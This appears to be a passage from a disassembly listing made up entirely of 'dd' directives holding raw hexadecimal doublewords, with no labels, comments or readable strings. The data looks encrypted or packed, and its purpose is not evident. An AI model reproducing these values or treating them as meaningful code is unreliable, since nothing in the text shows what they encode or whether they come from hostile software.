		dd 0B972EA5Dh, 0E82196BFh, 0Ah,	3BCDF2D8h, 2F1C3098h, 0B70F36DCh
		dd 0B70F59D7h, 0BBC181F6h, 0E900005Dh, 0Fh, 0DD752E77h
		dd 0ED07A31Ah, 53FDA90Ah, 0BB97D4D1h, 73BAD026h, 0B8E7EB81h
		dd 0E95273BAh, 0Eh, 592B0521h, 8073EABDh, 0C6CC9D0Eh, 0FF586C4Ah
		dd 70DC8031h, 5E95Fh, 4C440000h, 81F099ADh, 32A337EFh
		dd 0F6BF0F22h, 106EEF81h, 0BF0F5ADAh, 0CDC781F3h, 89366A0Eh
		dd 92BE6639h, 3E983C3h,	0FBF08149h, 4B626636h, 13850Fh
		dd 0B8660000h, 30E9EA7Fh, 7F000000h, 3220E41Eh,	62A0122Fh
		dd 8E9DCh, 0D3EF0000h, 5BA9F0D8h, 9CE90070h, 26FFFFFFh
		dd 2A8FB779h, 0CD715E7h, 46B1104Fh, 51FDC756h, 0E99A87ACh
		dd 15h,	6A83663Ch, 4 dup(0)
		dd 54FE900h, 75860000h,	2ACE6A0Bh, 0DD73DD50h, 6EA612A3h
		dd 42D741ECh, 425BB3Ah,	7AFB8194h, 0A845C7DEh, 1C91EB0Ch
		dd 55D89AB0h, 7B3B7630h, 95286FF6h, 0A04A0167h,	0E6700ED6h
		dd 5CC4EBABh, 0B37F2530h, 138EF207h, 305CC493h,	1C91277Dh
		dd 0B2DFEB82h, 0ADEDEDEEh, 0BEBB5145h, 675645C1h, 9965FBF2h
		dd 0CB5D1F3Dh, 0B68EEE03h, 2CA8C42Ch, 27927208h, 92B86C0Dh
		dd 4CE34DE0h, 17812Ch, 0F928A478h, 5A57E17Bh, 305CBD5Ah
		dd 0EC00E8BAh, 5C55EFBBh, 305CBD5Ch, 4436D8B4h,	77167AB6h
		dd 48E29ABDh, 0BCC3C3BEh, 574D305Ch, 0C8A65BC6h, 0B57D0DF5h
		dd 0C6E8C28h, 86F6E37Ah, 123700C7h, 50FC8A26h, 5C66BEBCh
		dd 0FBDAF594h, 5FB1305Bh, 0A9A31DBEh, 60C38431h, 0E7000000h
		dd 0ED6A04Ah, 5CC51597h, 5F193330h, 5ADACB87h, 54F51F8Ah
		dd 4CED07A6h, 30E0358Fh, 3163FA84h, 0A68904D4h,	11C5199h
		dd 0A6000000h, 8D4A64Ah, 38D2A84Ch, 28007A9Ch, 4AC8D8F4h
		dd 7EFC14B0h, 0B9537EB2h, 3A40D410h, 81F319BBh,	0A9D872ECh
		dd 305CC4E9h, 802193D2h, 761ED714h, 4AC6C42Ch, 4D09D5A7h
		dd 306BD4A9h, 2E942CFCh, 0B1460E98h, 856D77CFh,	0CB729269h
		dd 0A3B6F419h, 594905D9h, 0EB790BDBh, 0DE7CD855h, 3E961E9Bh
		dd 7CD5601Ah, 8E8109A2h, 8F527F94h, 0C7455DF9h,	0BD3ED31h
		dd 785C94E4h, 7C58A4D6h, 74409CDEh, 0A7E79A1Ch,	69305C99h
		dd 8259A53Bh, 0A31FDB82h, 0D3DDFE9Fh, 58843104h, 6D245AFCh
		dd 305CA42Dh, 0D72FBDE7h, 5DC865CDh, 9A000000h,	9D5A74Ah
		dd 0DD1AB4Dh, 0E90DAC40h, 79B1CB6Dh, 31BCB85Dh,	3A0A7287h
		dd 7204869Eh, 0C4E9A9D8h, 792B305Ch, 0C14D7DB1h, 0D9F9FB18h
		dd 50758430h, 69000000h, 0CEE2A2DFh, 7032305Ch,	0A74A0AB8h
		dd 0AA4D09D5h, 0D52953E4h, 38E539CFh, 0F4817514h, 6B7B5AB2h
		dd 19BD753Fh, 55ED80F4h, 0A1D0A64Ah, 305CC4E1h,	0C4D8D8C9h
		dd 6A38305Ch, 1AEA782Ah, 5CC5506Bh, 44E50F30h, 30E02D97h
		dd 14984h, 78190000h, 0E34339DCh, 8BAD09E1h, 0F9932DF1h
		dd 5CC50888h, 5E9A0830h, 5EA6D07Ah, 42862729h, 823D2ACh
		dd 0B1E07AEDh, 37B5AD76h, 60F6AF46h, 4E96E80Eh,	8343A134h
		dd 2B7519D1h, 736A3676h, 36C4DE28h, 2E48E2EEh, 6334019Ch
		dd 0C847473Ah, 0DBC92872h, 3EEF3442h, 0E57FEFF2h, 56564Bh
		dd 0E4BE2873h, 72FFF5B5h, 0C1851F28h, 0EEF4482Ch, 0CC849602h
		dd 63C3512Bh, 2755F965h, 783ACBh, 0F18D2873h, 64B83C55h
		dd 0CF6E925Eh, 2282F705h, 4BFC3761h, 0AE36C056h, 4150F476h
		dd 896163C3h, 0F082A804h, 0C272CF66h, 83A395FBh, 738F8E0Eh
		dd 8E1C8628h, 0A8420EA2h, 962456F8h, 0EA93FD4Eh, 0D3621C3Eh
		dd 1A168E76h, 153BA38Ch, 0E0A0D16Bh, 3028739Ah,	116B8672h
		dd 7F000001h, 0A537A0B3h, 8B671539h, 0B8E9831Dh, 305CC4F8h
		dd 0DFAE8A18h, 37B599E0h, 88EA00CCh, 1EC22EB4h,	942EB884h
		dd 73999D1Dh, 77768E28h, 707E6683h, 0EAA861Ch, 0B1E392ECh
		dd 4905D99Bh, 0AD47D1A3h, 7318B4F4h, 0EA465C28h, 0F29BE5B6h
		dd 0DB5A2436h, 1A8C966Eh, 90019B8Ch, 28732510h,	1B56A200h
		dd 3Ch,	2DBAB3AFh, 0C4C6E69Bh, 28B4B05Ch, 0D7BB7705h, 109071CDh
		dd 7B05CC5h, 0F80D30D9h, 8A8D973h, 8305CC5h, 0C4A3E39Eh
		dd 336D305Ch, 5CC53E7Eh, 3ECCD630h, 71B005A8h, 0D2000000h
		dd 0A537A0B3h, 0B593F1ECh, 3E3C137h, 41DBA5B7h,	92BAFAB7h
		dd 485A2873h, 99B31DE0h, 419E07DFh, 0F4287392h,	6D8F39E0h
		dd 84047D17h, 8C287392h, 92236316h, 0B7ED2873h,	5ED98C21h
		dd 30423FC9h, 862FC8C2h, 0C2F5B5ECh, 851F2086h,	3E3C1ADh
		dd 4636D985h, 0A80CE4FEh, 0FB2CF082h, 691327AFh, 0F1BC5D81h
		dd 2A67F166h, 27DBF358h, 63A74E54h, 0A537A0B3h,	6C485B08h
		dd 0C8CFA9CEh, 52C35A54h, 0DD5EDB7Dh, 0E00D5E4Fh, 9100E652h
		dd 37B11DFFh, 0A32FF7ADh, 0EA46EF89h, 3F7F3240h, 19286F1Eh
		dd 27BD81F3h, 4040316Fh, 0D0286F1Eh, 56AE3CD2h,	0DE699FAFh
		dd 34CE5895h, 0FF6A3D7Dh, 65CDD7BAh, 869450F9h,	3DDF79F4h
		dd 6A4A4A47h, 0D8CABAFFh, 409CDE7Ch, 6450AC42h,	2156AE2Ch
		dd 0CAFDC865h, 28252A82h, 0CBFD9CC0h, 0ADCF6121h, 103A961Fh
		dd 3299E66h, 79000000h,	0A14AF654h, 0A9430FD7h,	0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h, 525E55A9h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 3C895C24h, 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 68242C89h, 1C8Ch, 57240C89h,	0ECCFCCBFh, 0FB895307h
		dd 5F5BDD89h, 4EC81h, 24890000h, 24048124h, 4, 4EC8159h
		dd 89000000h, 418F242Ch, 240C8B08h, 81E78957h, 4C7h, 4C78300h
		dd 5C243C87h, 5D2434FFh, 0E904C483h, 0FFFCA6B2h, 54FA3A4Eh
		dd 0D8513194h, 0D495B80Eh, 0C50307ECh, 931CE0FFh, 9C9114E5h
		dd 0EAA66B42h, 82E92F9Ch, 0CE9A5B91h, 1C6285Eh,	33F864B9h
		dd 0D9F8773Ah, 0B2A0127h, 48E924A3h, 48000001h,	4C000000h
		dd 50000000h, 54000000h, 58000000h, 5C000000h, 60000000h
		dd 64000000h, 0A8000000h, 0AC000000h, 0B0000000h, 0B4000000h
		dd 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h, 0C8000000h
		dd 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h
		dd 0E0000000h, 0E4000000h, 38h dup(0)
		dd 67000000h, 3005C13h,	8D00B2C2h, 0ECD54D85h, 11E907h
		dd 0ADB0000h, 0A803CFF7h, 437EAB8Eh, 0BABF42E6h, 89ED778Fh
		dd 0ECD68D85h, 0C6D98A07h, 0E9265985h, 7E95407h, 0B000000h
		dd 532CB680h, 8368E676h, 0E8CA6FA8h, 5,	0EA6E8A53h, 4815E06h
		dd 0F2BFA624h, 0A5BD8B23h, 0FF07E90Bh, 0E90B11B5h, 0F7816607h
		dd 858DB02Fh, 7EC9FDBh,	12E9h, 81BDA600h, 23F73E9Fh, 2AA7B85Ch
		dd 0D9B8CE4Fh, 0FF3A6DEEh, 0DDB503D0h, 8907E90Dh, 0ECD69185h
		dd 0E9D8B607h, 40h, 80E9CF81h, 8B564552h, 0ECD68DB5h, 83068907h
		dd 0ECD68D85h, 0C35E0407h, 4DB58D60h, 0EB07ECD5h, 6A560Fh
		dd 95FF36FFh, 7ECD691h,	4C6835Eh, 75003E83h, 89C361ECh
		dd 0E911F1BDh, 5FF85707h, 0D73E858Dh, 0ECBB07ECh, 89704486h
		dd 0E9133585h, 39EB07h,	0CC00AF00h, 0E400AF02h,	0AF02h
		dd 76000000h, 4647A5ECh, 0E976BCE0h, 3722ADE8h,	4D4FA6ECh
		dd 7C4EACABh, 4C768685h, 4A2284C9h, 675287F1h, 734A9CEBh
		dd 8046A9E0h, 0CBD043E5h, 9DA13045h, 17CBD020h,	8B2BBD85h
		dd 0ED388D38h, 1B56C882h, 0C1A99BD5h, 8026713Dh, 0B9A74185h
		dd 0AD252194h, 0FBF50618h, 53F13782h, 419F4BDDh, 225219Fh
		dd 5272DFF1h, 8026713Dh, 0B9A74185h, 0AD252194h, 0FBF67518h
		dd 53F13782h, 84F67ADDh, 2B421E73h, 0E8019910h,	99BF4382h
		dd 21252186h, 2048080Eh, 102120D0h, 5502C885h, 68AB9546h
		dd 46A3CCA1h, 13ACCA1h,	0D567C885h, 419EDD46h, 0BF9BA5DBh
		dd 0D65E7483h, 0E1049100h, 4489E82h, 22120D7h, 5B02C885h
		dd 0D4AB9246h, 4A3CCA1h, 2034CCA1h, 4260C885h, 0FF695846h
		dd 0ED3F2D05h, 222C88Dh, 20A5519Fh, 0BDF96DAEh,	518DE7EDh
		dd 37A1C727h, 1F22C885h, 822D909h, 4292085h, 33F3C885h
		dd 4017F561h, 0ED9EE9BBh, 74A391F5h, 9935B5A1h,	4322A2BBh
		dd 822CB6Dh, 0C779E885h, 267E41DEh, 25664981h, 8022DD81h
		dd 83718B85h, 0B5ABA9B1h, 17CBC118h, 0F7EA43E3h, 0ED29D930h
		dd 5522A282h, 122CB6Dh,	437DE885h, 645E41DAh, 4664981h
		dd 1022D381h, 0CB758F85h, 8ABA31ABh, 0EA66045Eh, 8CDD778Ah
		dd 6CBD1300h, 1622A282h, 2022CB6Dh, 0D37CE885h,	2C5641DBh
		dd 20664981h, 222DC81h,	0C2748E85h, 70A9AE09h, 508F450Eh
		dd 0F0DDCF6Ch, 0AD97FBE5h, 6E252184h, 19372F04h, 8926A2E4h
		dd 0E83A5108h, 337A082h, 0CB442A9Dh, 426497Fh, 0DC5446Eh
		dd 72F4D8Ch, 0BE4ACF6Ch, 8899D116h, 25264969h, 0C4C4A7B7h
		dd 0A870C8EFh, 2022C886h, 4AE192A5h, 0C069C0Ch,	68C04h
		dd 222C89Dh, 0FAE19AC7h, 0BBCEE42Ch, 0CD219BD6h, 27CBC1A0h
		dd 104896DFh, 0E075C8EFh, 422C886h, 5DE197A5h, 506B40Ch
		dd 84068C04h, 4022C89Dh, 6FE19FC2h, 611C59E1h, 0D8DD1E0Eh
		dd 0EC75C8EFh, 222C886h, 5EE197A5h, 8406B40Ch, 44068C04h
		dd 2022C89Ch, 17E19FC2h, 37A13D30h, 2A9C7E2h, 8B22C885h
		dd 0E834FD38h, 802B2182h, 6F9AC885h, 2CDCC45Dh,	99CD6CA1h
		dd 0E4F5B100h, 38C34982h, 893CE8C6h, 3EECD7Dh, 5ABC885h
		dd 47CE1FF8h, 0A93A0806h, 0FCF54900h, 0B1E2FB82h, 422CA69h
		dd 2486276h, 12120D7h, 0DA02C885h, 14AB9246h, 64A3CCA1h
		dd 1039CCA1h, 5A60C885h, 0A0855A46h, 615DB845h,	0F79DC7F8h
		dd 939B7D0Eh, 0C5E4CF6Ch, 27CBEEDCh, 4622A2C6h,	822CB6Dh
		dd 0C77CE885h, 265641DBh, 25664981h, 8022DC81h,	83748E85h
		dd 0CCFD49A9h, 99785EA6h, 0E12C6900h, 7DCCA082h, 88752B42h
		dd 35A39749h, 203078A1h, 859743FAh, 0DF252190h,	0F929D930h
		dd 0EFE54982h, 894982A8h, 0EEBD1300h, 0F3A3AE82h, 92D71AFh
		dd 4022C883h, 20224B8Ah, 0C0DDC885h, 5DA74179h,	6E252196h
		dd 1CA9E85h, 2122C885h,	97C0BDBh, 0C126ECF1h, 3426ECC1h
		dd 5622C885h, 89B10BD3h, 0FF5E104Ch, 4ADC785h, 822C885h
		dd 69298918h, 7DA74582h, 46252192h, 95AB310Eh, 0FCBC73Ch
		dd 0EC71C8EFh, 222C886h, 5AE193A5h, 8406940Ch, 44068C04h
		dd 2022C89Eh, 0E19BC6h,	0EB36A8A0h, 8F6306B3h, 0EB12E930h
		dd 58A70E82h, 0D32521A3h, 28D143E3h, 0A333F7FAh, 1022CF6Dh
		dd 0EDA6B685h, 0F9F58463h, 5BDA43E3h, 5806CC04h, 0EA5B688Ch
		dd 43CA9885h, 22C885h, 997A0BDDh, 8926ECC1h, 1D26ECC1h
		dd 4222C885h, 0E3210BD5h, 0DCAF14F9h, 4B337D7Ah, 2048CF6Ch
		dd 102120D3h, 5602C885h, 70AB9646h, 46A3CCA1h, 139CCA1h
		dd 0D664C885h, 0BFF6446h, 48434387h, 0AF2D9BF0h, 8DAF914Ah
		dd 3CE575Eh, 0EA72C8EFh, 122C886h, 0D8E190A5h, 44068C0Ch
		dd 24068C04h, 1022C890h, 0CEE198C5h, 899F41A8h,	0EB252193h
		dd 122C88Dh, 8A034CFFh,	4BDF59F0h, 2048187Ah, 102120D0h
		dd 5502C885h, 68AB9546h, 46A3CCA1h, 134CCA1h, 0D567C885h
		dd 983F6546h, 5E3450Eh,	95ABCF6Ch, 0FCBC4B4h, 4224C8Ah
		dd 87E4C885h, 6CBEEDCh,	0D122A2D6h, 4022CB6Dh, 0E37BE885h
		dd 346E41DCh, 2C664981h, 422DD81h, 0C1738985h, 5CAC473h
		dd 3322C885h, 20FAD041h, 0F7A9AEE5h, 0DFA9AEE4h, 5A7298E4h
		dd 0B7098E5h, 527A92B4h, 5B13C7D7h, 0B12DA9DDh,	1878B634h
		dd 24068C0Eh, 4E7B99D3h, 8E2DC80Eh, 422C890h, 222D86Ch
		dd 49789385h, 3F98075Dh, 0C920D9E7h, 8EB48E74h,	34664110h
		dd 82C2181h, 51A4C885h,	0C973CA0Ch, 83F111F2h, 0DC0C2414h
		dd 15A741DDh, 0DF25219Dh, 0F929D930h, 94E44882h, 9BF94D08h
		dd 248CF69h, 12120D3h, 0DE02C885h, 34AB9646h, 64A3CCA1h
		dd 103ACCA1h, 5E64C885h, 23A00946h, 0D2DD53E2h,	5E1876E3h
		dd 0AFAB45B6h, 0C5ABCF6Ch, 27CBDBCCh, 3573450Ch, 8DE4CF6Ch
		dd 3CBEEDCh, 23121C2h, 8976C885h, 3C46A3Fh, 7E19F323h
		dd 0B7A4B3FEh, 294C63DBh, 88E9A093h, 0BCBA61Bh,	0EC22C885h
		dd 0AC47A4CDh, 0F1912A1Dh, 0B958EE9Bh, 24A36189h, 507E16A1h
		dd 5A22A2CCh, 422CB6Dh,	0C178E885h, 257641DFh, 0A4664981h
		dd 4022D581h, 0E3708A85h, 0D42CC15Eh, 26A34289h, 0B1AB4D1Ah
		dd 5CBE1F0h, 0A337D7Ah,	5AFCF6Ch, 47CE575Eh, 0B5A9187Ah
		dd 17CBD62Ch, 241B55ACh, 81ABCF6Ch, 5CBE918h, 0E970C8EFh
		dd 8022C886h, 1AE192A5h, 24069C0Ch, 14068C04h, 822C89Fh
		dd 0AEE19AC7h, 90E95E78h, 8842D676h, 69381538h,	21997A82h
		dd 67B4D43h, 9B65CF6Ch,	0E13BB138h, 4262082h, 1258C885h
		dd 0E724959h, 8022DA0Fh, 402B2085h, 3041C885h, 1F3F7260h
		dd 6ED78B66h, 8F7C310Eh, 5226ECC1h, 1C9CAED7h, 0E613C773h
		dd 1878320Eh, 64ABC80Eh, 19CACCA1h, 2322C885h, 0C592597Bh
		dd 0CF0F8AB9h, 59783D0Fh, 6875C8EFh, 4022C886h,	7FE197A5h
		dd 1406B40Ch, 0C068C04h, 422C89Fh, 0A5E19FC2h, 98ACEEEFh
		dd 0B446216h, 4997437Bh, 0DF25218Ch, 0F929D930h, 5D22A282h
		dd 422CB6Dh, 0C17FE885h, 254E41D8h, 0A4664981h,	4022D581h
		dd 0E3778D85h, 8A381211h, 2BC1E78Ch, 0BD447FEDh, 87AF8929h
		dd 6CE575Eh, 6874C8EFh,	4022C886h, 7EE196A5h, 1406BC0Ch
		dd 0C068C04h, 422C89Fh,	15E19EC3h, 6E2A7062h, 7FD7C784h
		dd 0A1A74155h, 912521B5h, 49A70E41h, 4F2521A3h,	6C8A72E3h
		dd 211AB2EDh, 6E83720Bh, 0B4A383B1h, 0AE26EFA1h, 7222A2A1h
		dd 1022CB6Dh, 0CB78E885h, 207641DFh, 26664981h
		dd 122DF81h, 43708A85h,	3D8AE02Ah, 3CE75D0Ch, 0A5DDCF6Ch
		dd 0FCBC394h, 0EC70C8EFh, 222C886h, 5BE192A5h, 84069C0Ch
		dd 44068C04h, 2022C89Dh, 0C5E19AC7h, 3007108Bh,	14CA030Fh
		dd 6422C885h, 7DE46EA1h, 8B751045h, 3A574512h, 7AE3DFB3h
		dd 95AF020Eh, 0FCE575Eh, 0EC75C8EFh, 222C886h, 5EE197A5h
		dd 8406B40Ch, 44068C04h, 2022C891h, 31E19FC2h, 0DFF271E3h
		dd 422C46Dh, 6A448F85h,	851C1285h, 0BF0AE4A0h, 0BF783D77h
		dd 7522A255h, 1022CB6Dh, 0CB7FE885h, 204E41D8h,	26664981h
		dd 122D381h, 43778D85h,	62D3E57Bh, 3A5C1819h, 18EF4D0Ch
		dd 802DCF6Ch, 422C883h,	2B7750Ch, 0D1DDCF6Ch, 5AB060Eh
		dd 47CBD0DCh, 3FB750Ch,	9C44CF6Ch, 5D22A25Dh, 422CB6Dh
		dd 0C17FE885h, 254E41D8h, 0A4664981h, 4022D581h, 0E3778D85h
		dd 74F3CB83h, 0A13BCE66h, 91AB6CA7h, 5CBD91Ch, 122CF6Ch
		dd 63F90B85h, 308155AAh, 9F2DCCA1h, 1FE2C27Ah, 826D401h
		dd 39B74185h, 0C425218Ah, 0E8049100h, 80488782h, 402120D5h
		dd 7802C885h, 54AB9046h, 4CA3CCA1h, 438CCA1h, 5262C885h
		dd 91068046h, 2A58F92Ah, 4023438Ah, 0C8DAC885h,	1022C881h
		dd 0B7A2A441h, 422C36Ch, 5D02AF85h, 1C3D05ABh, 28BF9A47h
		dd 0CBDB43D5h, 0C926ECC1h, 1022C880h, 0E5730433h, 0B224321h
		dd 222C10Eh, 2AAC785h, 0E622C885h, 4AB180Eh, 0C971CCA1h
		dd 1022C882h, 8EE812E1h, 5ADC8085h, 5022A2DDh, 122CB6Dh
		dd 4378E885h, 647641DFh, 4664981h, 1022DF81h, 0CB708A85h
		dd 0EC008D53h, 0B2B45B4h, 0B4DDCF6Ch, 87CBC394h, 0A872C8EFh
		dd 2022C886h, 48E190A5h, 0C068C0Ch, 68C04h, 222C89Dh, 70E198C5h
		dd 0DE6D72FAh, 57E7450Ch, 0A5AFCF6Ch, 17CE575Eh, 0F7F543E3h
		dd 8C9DAE55h, 26E24B75h, 122DA6Dh, 0E81FE185h, 41C833C4h
		dd 0F34C2DF9h, 118313ACh, 0E18F55CCh, 422C891h,	0C3E09A1Ch
		dd 0C72165DBh, 32C97372h, 0E4AEFC23h, 0CB7FC792h, 0C9A741DBh
		dd 62252187h, 7CA9885h,	2222C885h, 887A0BDDh, 126ECC1h
		dd 5B26ECC1h, 6022C885h, 51C80BD5h, 5276A8E0h, 0BA444CAEh
		dd 87A97555h, 6CBD0DCh,	6872C8EFh, 4022C886h, 78E190A5h
		dd 14068C0Ch, 0C068C04h, 422C898h, 0ECE198C5h, 0E9F89A44h
		dd 0FA3B2152h, 219F4347h, 0AB252197h, 0F92A0518h, 5F22A282h
		dd 422CB6Dh, 0C17DE885h, 255E41DAh, 0A4664981h,	4022DF81h
		dd 0E3758F85h, 73CDEBFDh, 822C56Dh, 89338F85h, 0E367173Ah
		dd 2839FF29h, 35A941F6h, 47CBD104h, 20488BDAh, 102120D3h
		dd 5602C885h, 70AB9646h, 46A3CCA1h, 136CCA1h, 0D664C885h
		dd 69DE7646h, 0C92ED130h, 7A394382h, 0BCA9F85h,	2422C885h
		dd 8B7D0BDAh, 8026ECF9h, 9426ECC1h, 722C885h, 2FB40BD2h
		dd 1022DB0Ah, 82C2185h,	0FE44C885h, 39BF3F6Dh, 0EB612A4Dh
		dd 810D7F1Ch, 0FF2DD30Eh, 4A394352h, 13CA9D85h,	2822C885h
		dd 8D7F0BD8h, 8326ECE9h, 1A26ECC1h, 0C522C885h,	436A0BD0h
		dd 636A83F6h, 0C811E3CDh, 20D349E3h, 0EDBF4114h, 31252199h
		dd 0E83B6130h, 0D9A70E82h, 72521A3h, 4C3550Ch, 14CACF6Ch
		dd 0A122C885h, 0ED951658h, 222C88Ch, 260B4F54h,	0E4347211h
		dd 0C22D986Bh, 2022C89Ch, 1022C56Dh, 0AC4B6285h, 0D3C79F97h
		dd 316924D9h, 892D133Fh, 8022C885h, 646643DBh, 0E8A9AE81h
		dd 0F842C80Eh, 822C882h, 0D3522018h, 0EBCF6F84h, 122C894h
		dd 6D39B39Bh, 0F5E8AB53h, 71C2D7BFh, 940B5A9Ch,	7CA908Bh
		dd 3122C885h, 0D60CFCBDh, 339D428Fh, 960BCC61h,	51CBBB8Ch
		dd 6F22C885h, 35AEABC5h, 3E5B3FE1h, 622A2191h, 3D73E69Eh
		dd 45ABA9DEh, 1C90CCA1h, 519737DDh, 4A25218Eh, 13CA9885h
		dd 2822C885h, 8D7A0BDDh, 8326ECC1h, 1426ECC1h, 0C022C885h
		dd 2CBA0BD5h, 0BFF94D08h, 9B44CF69h, 0EEA3AE53h, 0D4DDDDFDh
		dd 0EA70C8EFh, 122C886h, 0DAE192A5h, 44069C0Ch,	24068C04h
		dd 1022C898h, 8DE19AC7h, 0C848DD35h, 3B491E20h,	9CA7416Ch
		dd 3E2521A4h, 50C1A440h, 7322A2C5h, 1022CB6Dh, 0CB79E885h
		dd 207E41DEh, 26664981h, 122DE81h, 43718B85h, 416E2DEFh
		dd 0C920DD38h, 10252082h, 96F6C885h, 1C9A1F64h,	11CA9850h
		dd 2422C885h, 0CEADDFBh, 0A89B719Dh, 801EB49h, 0A43C07D9h
		dd 52788172h, 519743DCh, 8925218Ah, 1312085h, 8809C885h
		dd 0DE5AA60Dh, 0EA638138h, 0FA7913DEh, 6320A364h, 4A99130h
		dd 1F8B758Ch, 84ABCF6Ch, 87CBC360h, 420F750Eh, 94CBCF6Ch
		dd 7A22C884h, 0BCA9F85h, 2422C885h, 8B7D0BDAh, 8026ECF9h
		dd 9626ECC1h, 722C885h,	0C8830BD2h, 0D9F4301h, 68252193h
		dd 422D86Dh, 0FA94CC85h, 0D91C0ECDh, 0D8826070h, 0EEB11581h
		dd 20A2C72Dh, 4822C885h, 97A745E4h, 0B2252452h,	0B59D98CAh
		dd 884AEFD6h, 8048EC81h, 402120D6h, 7B02C885h, 4CAB9346h
		dd 4CA3CCA1h, 43FCCA1h,	5161C885h, 322E3346h, 1B7BE9A0h
		dd 4FFD3BACh, 2022CE04h, 0B5974385h, 81252188h,	0ED016910h
		dd 398AE82h, 40B737C6h,	0EA252185h, 43CA9D85h, 22C885h
		dd 997F0BD8h, 8926ECE9h, 1C26ECC1h, 4722C885h, 0CF4A0BD0h
		dd 0D362F46h, 0ACF56D18h, 7722A282h, 1022CB6Dh,	0CB7DE885h
		dd 205E41DAh, 26664981h, 122D181h, 43758F85h, 146CE875h
		dd 2FB1EB1Dh, 1022CE0Ch, 8AFC785h, 5422C885h, 226478Ah
		dd 0BB44C885h, 0EAB18C7Fh, 43CA9F85h, 22C885h, 997D0BDAh
		dd 8926ECF9h, 1826ECC1h, 4522C885h, 0DA010BD2h,	0E75D9C86h
		dd 0C9F88A26h, 0C9256910h, 59F4382h, 5825218Ah,	7BD4ED3Ch
		dd 26264197h, 0E971C8EFh, 8022C886h, 1BE193A5h,	2406940Ch
		dd 14068C04h, 822C890h,	1FE19BC6h, 0D794A88Ah, 31237D0Eh
		dd 0B43CF6Ch, 0A90D4538h, 0A9B73782h, 7A2521A1h, 0BCA9885h
		dd 2422C885h, 8B7A0BDDh, 8026ECC1h, 9C26ECC1h, 22C885h
		dd 0B4850BD5h, 0E9310BFh, 8387FF63h, 0ED2F2138h, 8B747982h
		dd 0E8201100h, 0D222A282h, 4022CB6Dh, 0E378E885h, 347641DFh
		dd 2C664981h, 422D281h,	0C1708A85h, 7DDA727Bh, 469C3BB7h
		dd 0A9049100h, 20489B82h, 102120D5h, 5002C885h,	40AB9046h
		dd 46A3CCA1h, 137CCA1h,	0D062C885h, 0CB3F1346h,	0C9178508h
		dd 2E2BA082h, 5A727E70h, 5C78F98Ah, 7406FC04h, 6B3EBA3Fh
		dd 83CA9885h, 6022C885h, 0A97A0BDDh, 9126ECC1h,	1526ECC1h
		dd 4422C885h, 0E9B30BD5h, 2F86CD25h, 8101381h, 4022DA6Dh
		dd 0FD06FB85h, 2831B5F6h, 1474A577h, 2C218710h,	8954E239h
		dd 0E8002910h, 74A89782h, 4B337D7Ah, 30CACF6Ch,	0F822C885h
		dd 5958866Bh, 1844DD6h,	0D44BD4EFh, 88AADC02h, 6902F900h
		dd 0D50B9282h, 27CBC0D8h, 8FF94D08h, 848CF69h, 42120D5h
		dd 5A02C885h, 45AB9046h, 0C4A3CCA1h, 4035CCA1h,	7062C885h
		dd 3DA42946h, 755C718Ch, 0D4DD9646h, 0EA77C8EFh, 122C886h
		dd 0DDE195A5h, 4406A40Ch, 24068C04h, 1022C89Ch,	92E19DC0h
		dd 0CA36954Bh, 3F974172h, 882521B0h, 69200500h,	1322A282h
		dd 2022CB6Dh, 0D379E885h, 2C7E41DEh, 20664981h,	222DF81h
		dd 0C2718B85h, 563EE15Fh, 5A9B5D0Ch, 950BCF6Ch,	17CBD3B8h
		dd 2E7B4D43h, 6E65CF6Ch, 1CA9985h, 2122C885h, 97B0BDCh
		dd 0C126ECC9h, 3626ECC1h, 5122C885h, 2A6D0BD4h,	11A8C71Fh
		dd 0EB22C885h
		dd 122C895h, 0DDC90415h, 0AC783FAAh, 0A95E6ACh,	15A5B5FAh
		dd 2B93550Ch, 644ACF6Ch, 51FFD77Bh, 1A3C7D3h, 0D922C885h
		dd 641649DAh, 5C4F2375h, 1022C76Ch, 57AA9785h, 58D46343h
		dd 9B1B7358h, 3A242D61h, 8B337D7Ah, 4CCACF6Ch, 8322C885h
		dd 0BAEF3317h, 0C4090A09h, 0BB26AB1h, 222CD0Eh,	0D0A3AE85h
		dd 0D7881F0h, 0ACBD1300h, 967782h, 0C0DDB4F7h, 153F450Ch
		dd 81ABCF6Ch, 5CBD234h,	0E971C8EFh, 8022C886h, 1BE193A5h
		dd 2406940Ch, 14068C04h, 822C893h, 59E19BC6h, 8F1102B7h
		dd 6CBD090h, 13650E04h,	0C5E4804Eh, 27CBEEDCh, 102E20D6h
		dd 4E4DC885h, 5B79E71h,	5448FF70h, 804404F6h, 0D94A8664h
		dd 94355EDh, 46749802h,	4F434C3Ch, 2C1649DCh, 1A52F688h
		dd 0EA74C8EFh, 122C886h, 0DEE196A5h, 4406BC0Ch,	24068C04h
		dd 1022C899h, 0FE19EC3h, 0A74BEBF7h, 0AD7F0D9h,	0A337D7Ah
		dd 0B44CF6Ch, 9BA7454Ah, 7125241Ah, 1DE77DA6h, 0F77DCF6Ch
		dd 0D99F4355h, 8B2521A5h, 0E8004D00h, 0D522A282h, 4022CB6Dh
		dd 0E37FE885h, 344E41D8h, 2C664981h, 422DD81h, 0C1778D85h
		dd 84E44953h, 87CBEEDCh, 0EFC049D2h, 4811C223h,	74EB53B6h
		dd 7709AD5h, 422C808h, 332D9185h, 1244F8Ah, 2DC885h, 4022C885h
		dd 24A390DFh, 2A941BA1h, 5E22A2AEh, 422CB6Dh, 0C17CE885h
		dd 255641DBh, 0A4664981h, 4022D581h, 0E3748E85h, 461A2F12h
		dd 0B49F2BB4h, 0FBD7886Ch, 0EB29D930h, 52F67682h, 5AF9DCBh
		dd 47CE575Eh, 67745A6h,	0C0DDCF6Ch, 0E070C8EFh,	422C886h
		dd 58E192A5h, 5069C0Ch,	84068C04h, 4022C891h, 1CE19AC7h
		dd 10244A8Ah, 0B50BC885h, 3CBEB68h, 211F4D0Ch, 882DCF6Ch
		dd 8022C887h, 0C5E43C0Fh, 27CBEEDCh, 0D1A3AEC6h, 0CCA48E1h
		dd 2C22C885h, 889E58F5h, 0DCA9849h, 2422C885h, 235DB845h
		dd 32654BF8h, 4FD8C8CDh, 0C068C0Eh, 6F04643Fh, 8B22439Dh
		dd 6126ECC1h, 8022D96Ch, 96856C85h, 0EC231280h,	6CA7890Fh
		dd 0F23BA18Ch, 5C43C034h, 0EA70C8EFh, 122C886h,	0DAE192A5h
